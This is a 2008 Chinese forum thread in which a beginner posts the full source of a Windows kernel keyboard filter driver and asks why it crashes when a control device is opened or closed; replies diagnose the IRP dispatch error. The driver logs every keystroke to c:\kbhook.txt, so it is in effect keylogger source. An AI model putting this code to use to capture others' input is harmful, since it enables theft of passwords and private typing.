首页
社区
课程
招聘
[求助]郁闷,完了,我写的多设备键盘过滤驱动怎么老蓝屏?
发表于: 2008-5-26 13:45 8154

[求助]郁闷,完了,我写的多设备键盘过滤驱动怎么老蓝屏?

2008-5-26 13:45
8154
我刚接触驱动编程,碰到很多问题。
实在没办法了,请大家帮帮我吧。。
网上找到一PS/2口键盘的过滤驱动,我想让过滤驱动与RING3层通信,需要在DriverEntry()中再创建一个设备,这个设备专门与RING3进行通信,但这个设备的创建出现了问题,无论是打开,关闭,都会蓝屏...不知哪儿出了问题,帮我看看吧,驱动代码很简单,我上传到附件了,下面是主要代码

//#include  <ntddk.h>
#include "kbhook.h"
#include "ScanCode.h"
#include   <windef.h>
int numPendingIrps=0;
//
//IOCTL 以及控制设备的相关变量
//
#define IOCTL_PASSPROCESSID \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
UNICODE_STRING  devNameUnicd;
UNICODE_STRING  devLinkUnicd;
PDEVICE_OBJECT  pDevice;  //控制设备的设备对象
NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp); //DeviceIoControl的处理函数

VOID OnUnload( IN PDRIVER_OBJECT theDriverObject )
{                       
        KTIMER kTimer;
        LARGE_INTEGER timeout;       
        PDEVICE_EXTENSION pKeyboradDeviceExtension;
        pKeyboradDeviceExtension=(PDEVICE_EXTENSION) theDriverObject->DeviceObject->DeviceExtension;
        IoDetachDevice(pKeyboradDeviceExtension->pKeyboardDevice);
        timeout.QuadPart=1000000;//1s
        KeInitializeTimer(&kTimer);
        while(numPendingIrps > 0)
        {
                KeSetTimer(&kTimer,timeout,NULL);
                KeWaitForSingleObject(&kTimer,Executive,KernelMode,FALSE,NULL);
               
        }
        pKeyboradDeviceExtension->bThreadTerminate=TRUE;
        KeReleaseSemaphore(&pKeyboradDeviceExtension->semQueue,0,1,TRUE);//让独立的记录线程获得执行机会
        KeWaitForSingleObject(pKeyboradDeviceExtension->pThreadObject,
                Executive,KernelMode,FALSE,NULL);             //结束独立的记录线程
        ZwClose(pKeyboradDeviceExtension->hLogFile);      //关闭文件句柄
        IoDeleteDevice(theDriverObject->DeviceObject);    //删除设备对象
       
        IoDeleteSymbolicLink(&devLinkUnicd);
        IoDeleteDevice(pDevice);
        DbgPrint("My Driver Unloaded!");
        return;
}
NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,IN PUNICODE_STRING RegistryPath)
{
       

        NTSTATUS status={0};
        int i;
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
       
        IO_STATUS_BLOCK file_status;
        OBJECT_ATTRIBUTES obj_attrib;
        CCHAR ntNameFile[100]="\\DosDevices\\c:\\kbhook.txt";
        STRING ntNameString;
        UNICODE_STRING uFileName;
       
        for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
               
                theDriverObject->MajorFunction[i] = DispatchPassDown;
        theDriverObject->MajorFunction[IRP_MJ_READ]=DispatchRead;
       
        HookKeyboard(theDriverObject);
        //建立一个线程用来记录键盘动作
        InitThreadKeyLogger(theDriverObject);
       
        /////////////////////////////////////////////////////////////////////////////////////////////
        ////////初始化一个旋转锁来访问链表///////////////////////////////////////////////////////////////
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
        InitializeListHead(&pKeyboardDeviceExtension->QueueListHead);

        KeInitializeSpinLock(&pKeyboardDeviceExtension->lockQueue);
        KeInitializeSemaphore(&pKeyboardDeviceExtension->semQueue,0,MAXLONG);
        ////////////创建一个纪录文件///////////////////////////////////////////////////////////////////////
        RtlInitAnsiString(&ntNameString,ntNameFile);
        RtlAnsiStringToUnicodeString(&uFileName,&ntNameString,TRUE);
        InitializeObjectAttributes(&obj_attrib,&uFileName,
                                                                OBJ_CASE_INSENSITIVE,
                                                                NULL,NULL);
       
        status=ZwCreateFile(&pKeyboardDeviceExtension->hLogFile,
                GENERIC_WRITE,
                &obj_attrib,
                &file_status,
                NULL,
                FILE_ATTRIBUTE_NORMAL,
                0,
                FILE_OPEN_IF,
                FILE_SYNCHRONOUS_IO_NONALERT,
                NULL,
                0);
        RtlFreeUnicodeString(&uFileName);
       
        theDriverObject->DriverUnload=OnUnload;

  //NTSTATUS  Status;
  //PDEVICE_OBJECT  pDevice;
  RtlInitUnicodeString(&devNameUnicd,L"\\Device\\PANZER3");
  RtlInitUnicodeString(&devLinkUnicd,L"\\??\\PANZER3");//创建控制设备
  status=IoCreateDevice(theDriverObject,0,&devNameUnicd,FILE_DEVICE_UNKNOWN,
      0,FALSE,&pDevice);
          if(!NT_SUCCESS(status))
  {
      DbgPrint(("Can not create device.\n"));
      return status;
  }
  status=IoCreateSymbolicLink(&devLinkUnicd,&devNameUnicd);
  if(!NT_SUCCESS(status))
  {
      DbgPrint(("Can not create device.SymbolicLink\n"));
      return status;
          }
  theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
              theDriverObject->MajorFunction[IRP_MJ_CREATE]=
           theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;
  DbgPrint("Create Control Driver ! address=%p = %x", pDevice,pDevice);
        return STATUS_SUCCESS;
       
}
NTSTATUS HookKeyboard(IN PDRIVER_OBJECT theDriverObject)
{   ///IRQL = passive level
        //建立过滤驱动对象
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
        PDEVICE_OBJECT pKeyboardDeviceObject;
        CCHAR ntNameBuffer[50]="\\Device\\keyboardClass0";
        STRING ntNameString;
        UNICODE_STRING uKeyboardDevice;
       
        NTSTATUS status=IoCreateDevice(theDriverObject,
                                                                sizeof(DEVICE_EXTENSION),
                                                                NULL,
                                                                FILE_DEVICE_KEYBOARD, //★注意这里
                                                                0,
                                                                TRUE,
                                                                &pKeyboardDeviceObject);
        if(!NT_SUCCESS(status))
                return status;
        /////////// 设置新设备的标志与地层键盘设备标记相同
        pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags|DO_BUFFERED_IO |DO_POWER_PAGABLE ;
        pKeyboardDeviceObject->Flags=pKeyboardDeviceObject->Flags &~DO_DEVICE_INITIALIZING;
        //在DriverEntry例程中创建的设备对象,并不需要必须清除DO_DEVICE_INITIALIZING标识,这是因为这个工作将会由I/O管理器自动完成。
        //然而,如果创建了其它设备对象,则需要进行该清除工作。
        //对DEVICE_EXTENSION结构清0
       
        RtlZeroMemory(pKeyboardDeviceObject->DeviceExtension,sizeof(DEVICE_EXTENSION));
       
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pKeyboardDeviceObject->DeviceExtension;
        /////把keyboardClass0转换成一个UNICODE字符串//////////////////////////////////////////////////////////
       
        RtlInitAnsiString(&ntNameString,ntNameBuffer);
        RtlAnsiStringToUnicodeString(&uKeyboardDevice,&ntNameString,TRUE);
        //准备工作完成后放置过滤钩子
        IoAttachDevice(pKeyboardDeviceObject,&uKeyboardDevice,
                &pKeyboardDeviceExtension->pKeyboardDevice);
        RtlFreeUnicodeString(&uKeyboardDevice);
       
        return STATUS_SUCCESS;
}

NTSTATUS InitThreadKeyLogger(IN PDRIVER_OBJECT theDriverObject)
{// IRQL = passive level
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
        HANDLE hThread;
        NTSTATUS status;
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDriverObject->DeviceObject->DeviceExtension;
        //////////////////////设置线程状态////////////////////////////////////
        pKeyboardDeviceExtension->bThreadTerminate=FALSE;
        ////////////创建一个线程用来记录////////////////////////////////////////
        status=PsCreateSystemThread(&hThread,
                                                                (ACCESS_MASK)0,
                                                                NULL,
                                                                (HANDLE)0,
                                                                NULL,
                                                                ThreadKeyLogger,
                                                                pKeyboardDeviceExtension);
        if(!NT_SUCCESS(status))
                return status;
        ///////////////////////////转换保存指向线程对象的指针////////////////////////
        ObReferenceObjectByHandle(hThread,
                                                                THREAD_ALL_ACCESS,
                                                                NULL,
                                                                KernelMode,
                                                                (PVOID*)&pKeyboardDeviceExtension->pThreadObject,
                                                                NULL);
        ZwClose(hThread);
        return status;
}
NTSTATUS DispatchPassDown(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{   // IRQL = passive level
        IoSkipCurrentIrpStackLocation(pIrp);
        return IoCallDriver(((PDEVICE_EXTENSION) theDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
       
}
NTSTATUS DispatchRead(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp)
{        // IRQL = DISPATCH_LEVEL
       
       
        IoCopyCurrentIrpStackLocationToNext(pIrp);
       
        IoSetCompletionRoutine(pIrp,
                OnReadCompletion,
                theDeviceObject,
                TRUE,
                TRUE,
                TRUE);
       
       
        numPendingIrps++;  //纪录挂起的irp数目
       
        return IoCallDriver(((PDEVICE_EXTENSION)theDeviceObject->DeviceExtension)->pKeyboardDevice,pIrp);
}
NTSTATUS OnReadCompletion(IN PDEVICE_OBJECT theDeviceObject,IN PIRP pIrp,IN PVOID Context)
{// IRQL = DISPATCH_LEVEL
        PKEYBOARD_INPUT_DATA keys;
        int numKeys;
        int i;
        KEY_DATA* kData;
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)theDeviceObject->DeviceExtension;
        if(pIrp->IoStatus.Status==STATUS_SUCCESS)
        {
               
                keys=(PKEYBOARD_INPUT_DATA)pIrp->AssociatedIrp.SystemBuffer;
                numKeys=pIrp->IoStatus.Information/sizeof(KEYBOARD_INPUT_DATA);
                for( i=0;i<numKeys;i++)
                {
                        if(keys[i].Flags==KEY_MAKE)
                                DbgPrint("%s\n","Key Down,IrpCallBack FUN");
                        kData=(KEY_DATA*)ExAllocatePool(NonPagedPool,sizeof(KEY_DATA));
                        kData->KeyData=(char)keys[i].MakeCode;
                        kData->KeyFlags=(char)keys[i].Flags;
                        /////////创建一个链表将击键动作传递给worker线程/////////////////////////////////////
                        ExInterlockedInsertTailList(&pKeyboardDeviceExtension->QueueListHead,
                                &kData->ListEntry,
                                &pKeyboardDeviceExtension->lockQueue);  //★注意同步
                        KeReleaseSemaphore(&pKeyboardDeviceExtension->semQueue,0,1,FALSE);
                       
                }
               
        }
        if(pIrp->PendingReturned)
                IoMarkIrpPending(pIrp);
        numPendingIrps--;
        return pIrp->IoStatus.Status;
}
VOID ThreadKeyLogger(IN PVOID pContext)
{// IRQL = passive level
        PDEVICE_OBJECT pKeyboardDeviceObject;
        PDEVICE_EXTENSION pKeyboardDeviceExtension;
        PLIST_ENTRY pListEntry;
        KEY_DATA* kData;
        char keys[3]={0};
       
        pKeyboardDeviceExtension=(PDEVICE_EXTENSION)pContext;
        pKeyboardDeviceObject=pKeyboardDeviceExtension->pKeyboardDevice;
        //等待信号量,若信号量递增,则继续运行处理循环
        while(TRUE)
        {
                KeWaitForSingleObject(
                        &pKeyboardDeviceExtension->semQueue,
                        Executive,
                        KernelMode,
                        FALSE,
                        NULL);
                //在链表中安全删除了最高顶端//
                pListEntry=ExInterlockedRemoveHeadList(&pKeyboardDeviceExtension->QueueListHead,
                        &pKeyboardDeviceExtension->lockQueue);
                if(pKeyboardDeviceExtension->bThreadTerminate==TRUE)
                {
                        PsTerminateSystemThread(STATUS_SUCCESS);
                }
                kData=CONTAINING_RECORD(pListEntry,KEY_DATA,ListEntry);
               
                ConvertScanCodeToKeyCode(pKeyboardDeviceExtension,kData,keys);
                ExFreePool(kData);  //删除内存
                if(keys!=0)
                {
                        if(pKeyboardDeviceExtension->hLogFile!=NULL)
                        {
                                IO_STATUS_BLOCK io_status;
                                NTSTATUS status;
                                status=ZwWriteFile(
                                        pKeyboardDeviceExtension->hLogFile,
                                        NULL,
                                        NULL,
                                        NULL,
                                        &io_status,
                                        &keys,
                                        strlen(keys),
                                        NULL,
                                        NULL);
                                if(status!=STATUS_SUCCESS)
                                        DbgPrint("write code to file fail!");
                        }
                }               
        }
        return;
}
//////////ConvertScanCodeToKeyCode 函数用来转换接受的击键码

//
//控制设备的IOControl函数
//

NTSTATUS  DeviceIoControlDispatch(IN  PDEVICE_OBJECT  pDeviceObject,IN  PIRP  pIrp)
{

          PIO_STACK_LOCATION  irpStack;
          NTSTATUS  Status;
          PVOID    InPutBuffer;
          ULONG  ioControlCode;
          ULONG  OutPutLen;
          PEPROCESS Process;
          
          ULONG IOPL = 1;
          HANDLE hProc;
          HANDLE *pBuff = NULL;
          Status=STATUS_SUCCESS;
          if(pDeviceObject != pDevice)
          {
          DbgPrint("keyboard filter!");
          IoSkipCurrentIrpStackLocation(pIrp);
        return IoCallDriver(((PDEVICE_EXTENSION) pDeviceObject->DeviceExtension)->pKeyboardDevice ,pIrp);
        }
          irpStack=IoGetCurrentIrpStackLocation(pIrp);
          ioControlCode=irpStack->Parameters.DeviceIoControl.IoControlCode;
          switch(irpStack->MajorFunction)
          {
                case  IRP_MJ_CREATE:
                  DbgPrint("Call IRP_MJ_CREATE\n");
                  break;
                case  IRP_MJ_CLOSE:
                  DbgPrint("Call IRP_MJ_CLOSE\n");
                  break;
                case  IRP_MJ_DEVICE_CONTROL:
                  OutPutLen=irpStack->Parameters.DeviceIoControl.OutputBufferLength;
                  switch(ioControlCode)
                  {
                        case IOCTL_PASSPROCESSID:
                                {
                             /*_asm
                             {
                                        mov dx, 0x64
                                        mov al, 0xFE
                                        out dx, al
                            }*/
                             DbgPrint("ioControlCode\n");
                                       
                                }
                          break;
                        default:
                          break;
                  }
                  break;
                default:
                  DbgPrint("no match control\n");
                  break;
          }
          pIrp->IoStatus.Status = Status;
          pIrp->IoStatus.Information = 0;
          IoCompleteRequest (pIrp, IO_NO_INCREMENT);
          return  Status;
}

//////////////////////////完毕
打开控制设备的代码如下
#include "stdafx.h"
#include    <stdio.h>
#include    <winioctl.h>
#define IOCTL_PASSPROCESSID \
    CTL_CODE(FILE_DEVICE_UNKNOWN, 0x801, METHOD_BUFFERED, FILE_ANY_ACCESS)
ULONG   dwReturn;

int APIENTRY WinMain(HINSTANCE hInstance,
                     HINSTANCE hPrevInstance,
                     LPSTR     lpCmdLine,
                     int       nCmdShow)
{
        HANDLE hDevice=CreateFile("\\\\.\\PANZER3",GENERIC_READ | GENERIC_WRITE,
                                          0,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,
                                          NULL);
   
    if(hDevice==INVALID_HANDLE_VALUE)
                MessageBox(NULL,"fail","fail",MB_OK);
        else
        {
        //DeviceIoControl(hDevice,IOCTL_PASSPROCESSID,NULL,0,
                                                  //NULL,0,&dwReturn,NULL);
               
                MessageBox(NULL,"ok","ok",MB_OK);
                CloseHandle(hDevice);//到这里蓝屏 郁闷
                MessageBox(NULL,"closeHandle","ok",MB_OK);
        }
        return 0;
}

[培训]内核驱动高级班,冲击BAT一流互联网大厂工作,每周日13:00-18:00直播授课

上传的附件:
收藏
免费 0
支持
分享
最新回复 (10)
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
2
到底咋回事儿呢
2008-5-26 14:00
0
雪    币: 116
活跃值: (220)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
3
IRP_MJ_CREATE和CLOSE的时候没有对\\Device\\PANZER3进行处理。。。
DispatchPassDown中加入判断,如果对\\Device\\PANZER3的CREATE CLOSE就完成这个IRP
2008-5-26 14:50
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
4
太感谢了,我将代码中的
for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
   
    theDriverObject->MajorFunction[i] = DispatchPassDown;

改为:

for( i=0 ; i < IRP_MJ_MAXIMUM_FUNCTION;i++)
   
    theDriverObject->MajorFunction[i] = DeviceIoControlDispatch;

就没有问题了。起码不会再蓝屏了
奇怪,在DriverEntry()中,我有将 IRP_MJ_CREATE和CLOSE 的处理函数设置为DeviceIoControlDispatch()的。看:

theDriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL]=
        theDriverObject->MajorFunction[IRP_MJ_CREATE]=
           theDriverObject->MajorFunction[IRP_MJ_CLOSE]= DeviceIoControlDispatch;


这不就是设置 IRP_MJ_CREATE和CLOSE的处理函数吗?
为什么非要在一开始的那个位置设置才可以呢?这两者有什么不同吗?请大侠帮忙解答下吧,
是不是这样,我在打开、或关闭\\Device\\PANZER3设备的时候 ,产生了其他的IRP,不仅仅是 IRP_MJ_CREATE,IRP_MJ_CLOSE。而我却仅仅设置了这两个IRP的处理函数。因此,系统调用了DispatchPassDown(),而不是
DeviceIoControlDispatch(),而我在 DispatchPassDown()函数中又没有处理 \\Device\\PANZER3设备,所以产生了蓝屏

非常感谢楼上的大侠,另外,代码的unload函数还有些问题,不过这是小问题了。
2008-5-26 15:26
0
雪    币: 116
活跃值: (220)
能力值: ( LV12,RANK:370 )
在线值:
发帖
回帖
粉丝
5
上面说得有误,蓝屏代码是什么?
2008-5-26 17:18
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
6
已经搞好了,谢谢你。UNLOAD例程也搞好了。
我是在虚拟机上测试的,蓝屏后马上就重启了,我没有设置内存转储,蓝屏代码没看清

下面要做的是 修改IRP例程的处理方式。不仅要记录键盘按键,主要是要实现模拟按键的功能。

最后,必须加入USB键盘支持。
我驱动基础不牢,可能还要再麻烦你呐,呵呵

键盘搞完了,还有鼠标,就我这水平....
2008-5-26 19:26
0
雪    币: 206
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
7
我编译你的文件时,为什么会有错误,说cann't open include file kbdmou.h ,注释掉那个include后又出来一些关于ntdd8042.h的错误,怎么回事呢
2008-8-6 20:53
0
雪    币: 201
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
8
这个驱动好像还有关机蓝屏的bug
2008-8-13 08:30
0
雪    币: 197
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
9
关机问题解决了
2008-8-16 22:40
0
雪    币: 200
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
10
zjwsl@tom.com   谢谢!
2008-8-17 15:44
0
雪    币: 203
活跃值: (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
11
学习了,谢谢
2008-8-18 15:06
0
游客
登录 | 注册 方可回帖
返回